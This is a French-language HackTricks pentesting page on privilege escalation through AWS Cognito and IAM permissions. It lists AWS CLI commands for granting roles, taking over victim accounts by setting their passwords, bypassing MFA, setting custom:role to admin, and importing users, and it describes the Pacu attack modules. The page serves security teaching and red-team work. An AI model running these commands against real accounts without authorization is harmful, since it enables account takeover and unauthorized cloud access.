AWS - Cognito Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cognito

Pour plus d’informations sur Cognito, consultez :

AWS - Cognito Enum

RĂ©cupĂ©ration des identifiants depuis l’Identity Pool

Comme Cognito peut accorder des identifiants de rĂŽle IAM Ă  la fois aux utilisateurs authentifiĂ©s et aux utilisateurs non authentifiĂ©s, si vous localisez l’Identity Pool ID d’une application (il devrait y ĂȘtre codĂ© en dur) vous pouvez obtenir de nouveaux identifiants et donc effectuer du privesc (dans un compte AWS oĂč vous n’aviez probablement mĂȘme aucun identifiant auparavant).

Pour plus d’informations consultez cette page.

Impact potentiel : privesc direct sur le rÎle de service attaché aux utilisateurs non authentifiés (et probablement sur celui attaché aux utilisateurs authentifiés).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Avec cette permission vous pouvez accorder n’importe quel cognito role aux utilisateurs authentifiĂ©s/non authentifiĂ©s de l’application Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Si l’application Cognito n’a pas les utilisateurs non authentifiĂ©s activĂ©s vous pourriez aussi avoir besoin de la permission cognito-identity:UpdateIdentityPool pour l’activer.

Impact potentiel : Privesc direct vers n’importe quel rîle Cognito.

cognito-identity:update-identity-pool

Un attaquant disposant de cette permission pourrait, par exemple, configurer un Cognito User Pool sous son contrĂŽle ou tout autre fournisseur d’identitĂ© oĂč il peut se connecter comme moyen d’accĂ©der Ă  ce Cognito Identity Pool. Ensuite, il suffit de se connecter auprĂšs de ce fournisseur pour lui permettre d’accĂ©der au authenticated role configurĂ© dans l’Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Il est Ă©galement possible d’abuser de cette permission pour autoriser l’authentification basique:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impact potentiel: Compromettre le rĂŽle IAM authentifiĂ© configurĂ© dans l’identity pool.

cognito-idp:AdminAddUserToGroup

Cette permission permet de ajouter un utilisateur Cognito Ă  un groupe Cognito, donc un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrĂŽle Ă  d’autres groupes avec des privilĂšges plus Ă©levĂ©s ou des rĂŽles IAM diffĂ©rents:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impact potentiel : Privesc vers d’autres Cognito groups et les IAM roles attachĂ©s aux User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaquant disposant de ces autorisations pourrait crĂ©er/mettre Ă  jour des groupes avec tous les IAM roles pouvant ĂȘtre utilisĂ©s par un Cognito Identity Provider compromis et ajouter un utilisateur compromis au groupe pour accĂ©der Ă  tous ces rĂŽles :

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impact potentiel : Privesc vers d’autres rîles IAM Cognito.

cognito-idp:AdminConfirmSignUp

Cette permission permet de vĂ©rifier une inscription. Par dĂ©faut, n’importe qui peut s’inscrire aux applications Cognito ; si cela reste activĂ©, un utilisateur pourrait crĂ©er un compte avec n’importe quelles donnĂ©es et le vĂ©rifier avec cette permission.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impact potentiel : Privesc indirect vers le rĂŽle IAM de l identity pool pour les utilisateurs authentifiĂ©s si vous pouvez enregistrer un nouvel utilisateur. Privesc indirect sur d’autres fonctionnalitĂ©s de l’application pouvant confirmer n’importe quel compte.

cognito-idp:AdminCreateUser

Cette permission permettrait à un attaquant de créer un nouvel utilisateur dans le user pool. Le nouvel utilisateur est créé activé, mais devra changer son mot de passe.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impact potentiel : Privesc direct vers l’identity pool IAM role pour les utilisateurs authentifiĂ©s. Privesc indirect vers d’autres fonctionnalitĂ©s de l’application permettant de crĂ©er n’importe quel utilisateur

cognito-idp:AdminEnableUser

Cette permission peut aider dans un scĂ©nario trĂšs particulier oĂč un attaquant a trouvĂ© les identifiants d’un utilisateur dĂ©sactivĂ© et doit le rĂ©activer.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impact potentiel : privesc indirect vers le rĂŽle IAM de l’identity pool pour les utilisateurs authentifiĂ©s et les permissions de l’utilisateur si l’attaquant disposait des identifiants d’un utilisateur dĂ©sactivĂ©.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Cette permission permet de se connecter avec la method ADMIN_USER_PASSWORD_AUTH. Pour plus d’informations, suivez le lien.

cognito-idp:AdminSetUserPassword

Cette permission permettrait Ă  un attaquant de dĂ©finir un mot de passe connu pour n’importe quel utilisateur, entraĂźnant gĂ©nĂ©ralement une prise de contrĂŽle directe du compte (surtout si la victime n’a pas activĂ© la MFA, ou si la MFA n’est pas appliquĂ©e au flux d’authentification / au client concernĂ©).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Flux de travail courant :

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Permission liĂ©e : cognito-idp:AdminResetUserPassword peut ĂȘtre utilisĂ©e pour forcer un flux de rĂ©initialisation pour une victime (l’impact dĂ©pend de la maniĂšre dont la rĂ©cupĂ©ration de mot de passe est implĂ©mentĂ©e et de ce que l’attaquant peut intercepter ou contrĂŽler).

Impact potentiel : Prise de contrîle de comptes d’utilisateurs arbitraires ; accùs aux privilùges au niveau applicatif (groups/roles/claims) et à tout ce qui fait confiance aux Cognito tokens en aval ; accùs potentiel aux Identity Pool authenticated IAM roles.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings : Un attaquant pourrait potentiellement abuser de cette permission pour configurer un tĂ©lĂ©phone mobile sous son contrĂŽle comme SMS MFA d’un utilisateur.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Semblable au prĂ©cĂ©dent, cette permission peut ĂȘtre utilisĂ©e pour dĂ©finir les prĂ©fĂ©rences MFA d’un utilisateur afin de contourner la protection MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similaire Ă  la prĂ©cĂ©dente, cette permission peut ĂȘtre utilisĂ©e pour dĂ©finir les prĂ©fĂ©rences MFA d’un user pool afin de contourner la protection MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Il est aussi possible de mettre Ă  jour le user pool pour changer la politique MFA. Check cli here.

Impact potentiel: privesc indirecte vers potentiellement tout utilisateur dont l’attaquant connaüt les identifiants, ceci pourrait permettre de contourner la protection MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaquant disposant de cette permission peut modifier tout attribut mutable d’un utilisateur du User Pool (y compris les attributs custom:*) afin d’essayer d’obtenir des privilùges dans une application sous-jacente.

Un schĂ©ma courant Ă  fort impact est le RBAC basĂ© sur les claims implĂ©mentĂ© en utilisant des attributs personnalisĂ©s (par exemple custom:role=admin). Si l’application fait confiance Ă  cette assertion, la mettre Ă  jour puis se rĂ©-authentifier peut contourner l’autorisation sans modifier l’application.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Exemple : escalader votre propre rĂŽle et rafraĂźchir les tokens :

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Impact potentiel : Escalade de privilĂšges indirecte dans des applications faisant confiance aux attributs/claims de Cognito pour l’autorisation ; possibilitĂ© de modifier d’autres attributs importants pour la sĂ©curitĂ© (par exemple dĂ©finir email_verified ou phone_number_verified Ă  true peut avoir une importance dans certaines applications).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaquant disposant de cette permission pourrait crĂ©er un nouveau User Pool Client moins restreint que les clients de pool dĂ©jĂ  existants. Par exemple, le nouveau client pourrait autoriser n’importe quelle mĂ©thode d’authentification, ne pas avoir de secret, avoir la rĂ©vocation des tokens dĂ©sactivĂ©e, permettre aux tokens d’ĂȘtre valides plus longtemps


La mĂȘme chose peut ĂȘtre faite si, au lieu de crĂ©er un nouveau client, un client existant est modifiĂ©.

Dans la command line (ou le update one) vous pouvez voir toutes les options — consultez-les !

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impact potentiel: PossibilitĂ© de privesc indirecte de l’utilisateur autorisĂ© de l’Identity Pool utilisĂ© par le User Pool en crĂ©ant un nouveau client qui assouplit les mesures de sĂ©curitĂ© et permet Ă  un attaquant de se connecter avec un utilisateur qu’il a pu crĂ©er.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléversant un CSV contenant de nouveaux utilisateurs.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Dans le cas oĂč vous crĂ©ez un nouveau import job vous pourriez aussi avoir besoin de la permission iam passrole, je ne l’ai pas encore testĂ©e).

Impact potentiel : Privesc direct vers le identity pool IAM role pour les utilisateurs authentifiĂ©s. Privesc indirect vers d’autres fonctionnalitĂ©s de l’application permettant de crĂ©er n’importe quel utilisateur.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaquant pourrait créer un nouveau identity provider pour ensuite pouvoir login through this provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impact potentiel : privesc direct sur le rĂŽle IAM de l’identity pool pour les utilisateurs authentifiĂ©s. Privesc indirect sur d’autres fonctionnalitĂ©s de l’application pouvant crĂ©er n’importe quel utilisateur.

cognito-sync:* Analyse

C’est une permission trĂšs courante par dĂ©faut dans les rĂŽles des Cognito Identity Pools. MĂȘme si un wildcard dans une permission paraĂźt toujours mauvais (surtout venant d’AWS), les permissions donnĂ©es ne sont pas trĂšs utiles du point de vue d’un attaquant.

Cette permission permet de lire des informations utilisateur des Identity Pools et des Identity IDs Ă  l’intĂ©rieur des Identity Pools (ce qui n’est pas une information sensible).
Les Identity IDs peuvent avoir des Datasets qui leur sont assignĂ©s, ce sont des informations de session (AWS le dĂ©finit comme un saved game). Il est possible que cela contienne une forme d’information sensible (mais la probabilitĂ© est assez faible). Vous pouvez trouver sur la page d’énumĂ©ration comment accĂ©der Ă  ces informations.

Un attaquant pourrait Ă©galement utiliser ces permissions pour s’enregistrer sur un Cognito stream qui publie des changements sur ces datasets ou une lambda qui se dĂ©clenche sur des cognito events. Je n’ai pas vu cela utilisĂ©, et je n’attendrais pas d’informations sensibles ici, mais ce n’est pas impossible.

Outils automatiques

  • Pacu, the AWS exploitation framework, inclut dĂ©sormais les modules “cognito__enum” et “cognito__attack” qui automatisent l’énumĂ©ration de tous les assets Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisĂ©s pour le contrĂŽle d’accĂšs, etc., et automatisent aussi la crĂ©ation d’utilisateurs (y compris le support MFA) et l’escalade de privilĂšges basĂ©e sur des attributs personnalisĂ©s modifiables, des credentials d’identity pool utilisables, des rĂŽles assumables dans les id tokens, etc.

Pour une description des fonctions des modules, voir la partie 2 du blog post. Pour les instructions d’installation, voir la page principale Pacu.

Utilisation

Exemple d’utilisation de cognito__attack pour tenter la crĂ©ation d’utilisateur et tous les vecteurs de privesc contre un identity pool et un user pool client donnĂ©s :

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemple d’utilisation de cognito__enum pour rĂ©cupĂ©rer tous les user pools, user pool clients, identity pools, users, etc. visibles dans le compte AWS actuel :

Pacu (new:test) > run cognito__enum
  • Cognito Scanner est un outil CLI en python qui implĂ©mente diffĂ©rentes attaques contre Cognito, y compris une privesc escalation.

Installation

$ pip install cognito-scanner

Utilisation

$ cognito-scanner --help

Pour plus d’informations, consultez https://github.com/padok-team/cognito-scanner

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks